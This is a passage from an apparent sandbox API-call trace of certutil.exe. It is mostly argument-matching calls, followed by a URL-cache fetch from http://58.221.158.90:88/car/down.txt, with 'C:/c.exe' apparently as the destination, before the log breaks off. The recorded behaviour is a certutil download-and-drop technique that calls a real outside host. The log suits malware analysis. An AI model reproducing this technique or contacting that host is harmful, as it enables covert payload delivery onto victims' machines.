lpString2="CredStore", cchCount2=-1) returned 3 [0104.383] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="InstallDefaultTemplates", cchCount2=-1) returned 3 [0104.383] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="URL", cchCount2=-1) returned 3 [0104.383] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="URLCache", cchCount2=-1) returned 2 [0104.383] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="stdio", cchCount2=-1) returned 1 [0104.383] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="LegacyCertSelectionUI", cchCount2=-1) returned 3 [0104.383] lstrcmpW (lpString1="split", lpString2="uSAGE") returned -1 [0104.383] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="dump", cchCount2=-1) returned 3 [0104.383] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="asn", cchCount2=-1) returned 3 [0104.383] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="", cchCount2=-1) returned 3 [0104.384] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="decodehex", cchCount2=-1) returned 3 [0104.384] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="encodehex", cchCount2=-1) returned 3 [0104.384] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="decode", cchCount2=-1) returned 3 [0104.384] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="encode", cchCount2=-1) returned 3 [0104.384] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="", cchCount2=-1) returned 3 [0104.384] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="deny", cchCount2=-1) returned 3 [0104.384] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="resubmit", cchCount2=-1) returned 3 [0104.384] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="setattributes", cchCount2=-1) returned 3 [0104.384] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="setextension", cchCount2=-1) returned 3 [0104.384] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="revoke", cchCount2=-1) returned 3 [0104.384] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="isvalid", cchCount2=-1) returned 3 [0104.384] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="", cchCount2=-1) returned 3 [0104.384] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="getconfig", cchCount2=-1) returned 3 [0104.384] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="getconfig2", cchCount2=-1) returned 3 [0104.384] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="getconfig3", cchCount2=-1) returned 3 [0104.384] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="ping", cchCount2=-1) returned 3 [0104.384] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="pingadmin", cchCount2=-1) returned 3 [0104.384] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="CAInfo", cchCount2=-1) returned 3 [0104.384] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="CAPropInfo", cchCount2=-1) returned 3 [0104.384] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="ca.cert", cchCount2=-1) returned 3 [0104.384] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="ca.chain", cchCount2=-1) returned 3 [0104.384] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="GetCRL", cchCount2=-1) returned 3 [0104.384] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="CRL", cchCount2=-1) returned 3 [0104.384] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="shutdown", cchCount2=-1) returned 3 [0104.384] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="", cchCount2=-1) returned 3 [0104.384] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="installCert", cchCount2=-1) returned 3 [0104.384] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="renewCert", cchCount2=-1) returned 3 [0104.384] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="", cchCount2=-1) returned 3 [0104.384] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="schema", cchCount2=-1) returned 3 [0104.384] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="view", cchCount2=-1) returned 1 [0104.384] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="db", cchCount2=-1) returned 3 [0104.384] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="deleterow", cchCount2=-1) returned 3 [0104.384] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="", cchCount2=-1) returned 3 [0104.384] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="backup", cchCount2=-1) returned 3 [0104.384] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="backupDB", cchCount2=-1) returned 3 [0104.385] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="backupKey", cchCount2=-1) returned 3 [0104.385] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="restore", cchCount2=-1) returned 3 [0104.385] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="restoreDB", cchCount2=-1) returned 3 [0104.385] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="restoreKey", cchCount2=-1) returned 3 [0104.385] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="exportPFX", cchCount2=-1) returned 3 [0104.385] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="importPFX", cchCount2=-1) returned 3 [0104.385] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="dynamicfilelist", cchCount2=-1) returned 3 [0104.385] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="databaselocations", cchCount2=-1) returned 3 [0104.385] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="hashfile", cchCount2=-1) returned 3 [0104.385] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="", cchCount2=-1) returned 3 [0104.385] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="store", cchCount2=-1) returned 1 [0104.385] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="enumstore", cchCount2=-1) returned 3 [0104.385] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="addstore", cchCount2=-1) returned 3 [0104.385] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="delstore", cchCount2=-1) returned 3 [0104.385] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="verifystore", cchCount2=-1) returned 1 [0104.385] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="repairstore", cchCount2=-1) returned 3 [0104.385] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="viewstore", cchCount2=-1) returned 1 [0104.385] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="viewdelstore", cchCount2=-1) returned 1 [0104.385] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="getcert", cchCount2=-1) returned 3 [0104.385] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="", cchCount2=-1) returned 3 [0104.385] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="ds", cchCount2=-1) returned 3 [0104.385] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="dsDel", cchCount2=-1) returned 3 [0104.385] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="dsPublish", cchCount2=-1) returned 3 [0104.385] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="dsCert", cchCount2=-1) returned 3 [0104.385] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="dsCRL", cchCount2=-1) returned 3 [0104.385] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="dsDeltaCRL", cchCount2=-1) returned 3 [0104.385] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="dsTemplate", cchCount2=-1) returned 3 [0104.385] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="dsAddTemplate", cchCount2=-1) returned 3 [0104.385] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="", cchCount2=-1) returned 3 [0104.385] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="ADTemplate", cchCount2=-1) returned 3 [0104.385] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="Template", cchCount2=-1) returned 1 [0104.385] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="TemplateCAs", cchCount2=-1) returned 1 [0104.385] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="CATemplates", cchCount2=-1) returned 3 [0104.385] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="SetCATemplates", cchCount2=-1) returned 3 [0104.385] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="SetCASites", cchCount2=-1) returned 3 [0104.385] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="enrollmentServerURL", cchCount2=-1) returned 3 [0104.386] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="ADCA", cchCount2=-1) returned 3 [0104.386] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="CA", cchCount2=-1) returned 3 [0104.386] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="Policy", cchCount2=-1) returned 3 [0104.386] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="PolicyCache", cchCount2=-1) returned 3 [0104.386] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="CredStore", cchCount2=-1) returned 3 [0104.386] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="InstallDefaultTemplates", cchCount2=-1) returned 3 [0104.386] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="URL", cchCount2=-1) returned 1 [0104.386] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="URLCache", cchCount2=-1) returned 1 [0104.386] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="pulse", cchCount2=-1) returned 3 [0104.386] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="MachineInfo", cchCount2=-1) returned 3 [0104.386] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="DCInfo", cchCount2=-1) returned 3 [0104.386] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="EntInfo", cchCount2=-1) returned 3 [0104.386] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="TCAInfo", cchCount2=-1) returned 1 [0104.386] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="SCInfo", cchCount2=-1) returned 3 [0104.386] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="SCDump", cchCount2=-1) returned 3 [0104.386] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="", cchCount2=-1) returned 3 [0104.386] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="SCRoots", cchCount2=-1) returned 3 [0104.386] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="", cchCount2=-1) returned 3 [0104.386] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="key", cchCount2=-1) returned 3 [0104.386] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="delkey", cchCount2=-1) returned 3 [0104.386] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="verifykeys", cchCount2=-1) returned 1 [0104.386] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="verify", cchCount2=-1) returned 1 [0104.386] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="csplist", cchCount2=-1) returned 3 [0104.386] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="csptest", cchCount2=-1) returned 3 [0104.386] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="CNGConfig", cchCount2=-1) returned 3 [0104.386] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="sign", cchCount2=-1) returned 3 [0104.386] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="nullsign", cchCount2=-1) returned 3 [0104.386] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="", cchCount2=-1) returned 3 [0104.386] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="vroot", cchCount2=-1) returned 1 [0104.386] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="vocsproot", cchCount2=-1) returned 1 [0104.386] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="addEnrollmentServer", cchCount2=-1) returned 3 [0104.386] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="deleteEnrollmentServer", cchCount2=-1) returned 3 [0104.386] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="Class", cchCount2=-1) returned 3 [0104.386] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="7f", cchCount2=-1) returned 3 [0104.387] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="oid", cchCount2=-1) returned 3 [0104.387] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="error", cchCount2=-1) returned 3 [0104.387] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="getsmtpinfo", cchCount2=-1) returned 3 [0104.387] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="setsmtpinfo", cchCount2=-1) returned 3 [0104.387] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="getreg", cchCount2=-1) returned 3 [0104.387] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="setreg", cchCount2=-1) returned 3 [0104.387] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="delreg", cchCount2=-1) returned 3 [0104.387] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="", cchCount2=-1) returned 3 [0104.387] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="ImportKMS", cchCount2=-1) returned 3 [0104.387] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="ImportCert", cchCount2=-1) returned 3 [0104.387] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="GetKey", cchCount2=-1) returned 3 [0104.387] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="RecoverKey", cchCount2=-1) returned 3 [0104.387] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="MergePFX", cchCount2=-1) returned 3 [0104.387] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="ConvertEPF", cchCount2=-1) returned 3 [0104.387] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="?", cchCount2=-1) returned 3 [0104.387] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="", cchCount2=-1) returned 3 [0104.387] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="f", cchCount2=-1) returned 3 [0104.387] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="idispatch", cchCount2=-1) returned 3 [0104.387] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="enterprise", cchCount2=-1) returned 3 [0104.387] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="user", cchCount2=-1) returned 1 [0104.387] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="service", cchCount2=-1) returned 3 [0104.387] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="GroupPolicy", cchCount2=-1) returned 3 [0104.387] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="ut", cchCount2=-1) returned 1 [0104.387] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="mt", cchCount2=-1) returned 3 [0104.387] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="nocr", cchCount2=-1) returned 3 [0104.387] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="nocrlf", cchCount2=-1) returned 3 [0104.387] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="unicode", cchCount2=-1) returned 1 [0104.387] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="gmt", cchCount2=-1) returned 3 [0104.387] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="seconds", cchCount2=-1) returned 3 [0104.387] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="silent", cchCount2=-1) returned 3 [0104.387] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="split", cchCount2=-1) returned 2 [0104.387] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="stdio", cchCount2=-1) returned 1 [0104.387] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="LegacyCertSelectionUI", cchCount2=-1) returned 1 [0104.387] lstrcmpW (lpString1="f", lpString2="uSAGE") returned -1 [0104.388] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="dump", cchCount2=-1) returned 3 [0104.388] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="asn", cchCount2=-1) returned 3 [0104.388] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="", cchCount2=-1) returned 3 [0104.388] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="decodehex", cchCount2=-1) returned 3 [0104.388] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="encodehex", cchCount2=-1) returned 3 [0104.388] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="decode", cchCount2=-1) returned 3 [0104.388] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="encode", cchCount2=-1) returned 3 [0104.388] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="", cchCount2=-1) returned 3 [0104.388] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="deny", cchCount2=-1) returned 3 [0104.388] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="resubmit", cchCount2=-1) returned 1 [0104.388] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="setattributes", cchCount2=-1) returned 1 [0104.388] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="setextension", cchCount2=-1) returned 1 [0104.388] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="revoke", cchCount2=-1) returned 1 [0104.388] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="isvalid", cchCount2=-1) returned 1 [0104.388] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="", cchCount2=-1) returned 3 [0104.388] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="getconfig", cchCount2=-1) returned 1 [0104.388] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="getconfig2", cchCount2=-1) returned 1 [0104.388] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="getconfig3", cchCount2=-1) returned 1 [0104.388] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="ping", cchCount2=-1) returned 1 [0104.388] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="pingadmin", cchCount2=-1) returned 1 [0104.388] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="CAInfo", cchCount2=-1) returned 3 [0104.388] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="CAPropInfo", cchCount2=-1) returned 3 [0104.388] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x2fe160 [0104.388] GetComputerNameW (in: lpBuffer=0x2fe160, nSize=0x22f5a0 | out: lpBuffer="XDUWTFONO", nSize=0x22f5a0) returned 1 [0104.388] GetComputerNameExW (in: NameType=0x3, lpBuffer=0x0, nSize=0x22f570 | out: lpBuffer=0x0, nSize=0x22f570) returned 0 [0104.389] GetLastError () returned 0xea [0104.389] LocalAlloc (uFlags=0x0, uBytes=0x16) returned 0x30bfd0 [0104.389] GetComputerNameExW (in: NameType=0x3, lpBuffer=0x30bfd0, nSize=0x22f570 | out: lpBuffer="XDuwTfOno", nSize=0x22f570) returned 1 [0104.389] ?_set_se_translator@@YAP6AXIPEAU_EXCEPTION_POINTERS@@@ZP6AXI0@Z@Z () returned 0x0 [0104.389] GetSystemDirectoryW (in: lpBuffer=0x0, uSize=0x0 | out: lpBuffer=0x0) returned 0x14 [0104.389] LocalAlloc (uFlags=0x0, uBytes=0x44) returned 0x3073d0 [0104.389] GetSystemDirectoryW (in: lpBuffer=0x3073d0, uSize=0x14 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0104.389] LoadLibraryExW (lpLibFileName="C:\\Windows\\system32\\cryptnet.dll", hFile=0x0, dwFlags=0x0) returned 0x7fef3280000 [0104.639] LocalFree (hMem=0x3073d0) returned 0x0 [0104.639] GetProcAddress (hModule=0x7fef3280000, lpProcName="I_CryptNetEnumUrlCacheEntry") returned 0x7fef3288e90 [0104.639] GetProcAddress (hModule=0x7fef3280000, lpProcName="CryptRetrieveObjectByUrlW") returned 0x7fef3282be4 [0104.639] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="C:/c.exe", cchCount1=-1, lpString2="delete", cchCount2=-1) returned 1 [0104.639] lstrcmpW (lpString1="*", lpString2="http://58.221.158.90:88/car/down.txt") returned -1 [0104.639] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="http://58.221.158.90:88/car/down.txt", cchCount1=-1, lpString2="crl", cchCount2=-1) returned 3 [0104.639] CryptRetrieveObjectByUrlW (in: pszUrl="http://58.221.158.90:88/car/down.txt", pszObjectOid=0x5, dwRetrievalFlags=0x5, dwTimeout=0x0, ppvObject=0x22f580, hAsyncRetrieve=0x0, pCredentials=0x0, pvVerify=0x0, pAuxInfo=0x0 | out: ppvObject=0x22f580*=0x0, pAuxInfo=0x0) returned 0 [0106.800] GetLastError () returned 0x80092009 [0106.801] _wcsnicmp (_String1="http:", _String2="ldap:", _MaxCount=0x5) returned -4 [0106.801] _vsnwprintf (in: _Buffer=0x22f498, _BufferCount=0xb, _Format="%d", _ArgList=0x22f488 | out: _Buffer="2232") returned 4 [0106.801] LoadStringW (in: hInstance=0xffe80000, uID=0x8b8, lpBuffer=0x22f250, cchBufferMax=128 | out: lpBuffer="Online") returned 0x6 [0106.801] LocalAlloc (uFlags=0x0, uBytes=0xe) returned 0x30c510 [0106.801] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0106.801] GetProcAddress (hModule=0x77140000, lpProcName="_vsnwprintf") returned 0x77170880 [0106.801] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0106.801] _vsnwprintf (in: _Buffer=0x22ec80, _BufferCount=0x200, _Format="**** %ws ****\n", _ArgList=0x22f4d8 | out: _Buffer="**** Online ****\n") returned 19 [0106.801] GetFileType (hFile=0x7) returned 0x2 [0106.851] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x22ec80*, nNumberOfCharsToWrite=0x13, lpNumberOfCharsWritten=0x22ec44, lpReserved=0x0 | out: lpBuffer=0x22ec80*, lpNumberOfCharsWritten=0x22ec44*=0x13) returned 1 [0106.852] LoadLibraryExA (lpLibFileName="WININET.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefdc20000 [0108.008] GetProcAddress (hModule=0x7fefdc20000, lpProcName="InternetOpenW") returned 0x7fefdc51c80 [0108.054] InternetOpenW (lpszAgent="CertUtil URL Agent", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0108.187] GetProcAddress (hModule=0x7fefdc20000, lpProcName="InternetOpenUrlW") returned 0x7fefdc82c74 [0108.240] InternetOpenUrlW (hInternet=0xcc0004, lpszUrl="http://58.221.158.90:88/car/down.txt", lpszHeaders="Accept: */*\r\n", dwHeadersLength=0xffffffff, dwFlags=0x80001000, dwContext=0x0) returned 0xcc000c [0109.719] GetProcAddress (hModule=0x7fefdc20000, lpProcName="InternetQueryDataAvailable") returned 0x7fefdc541a0 [0109.719] InternetQueryDataAvailable 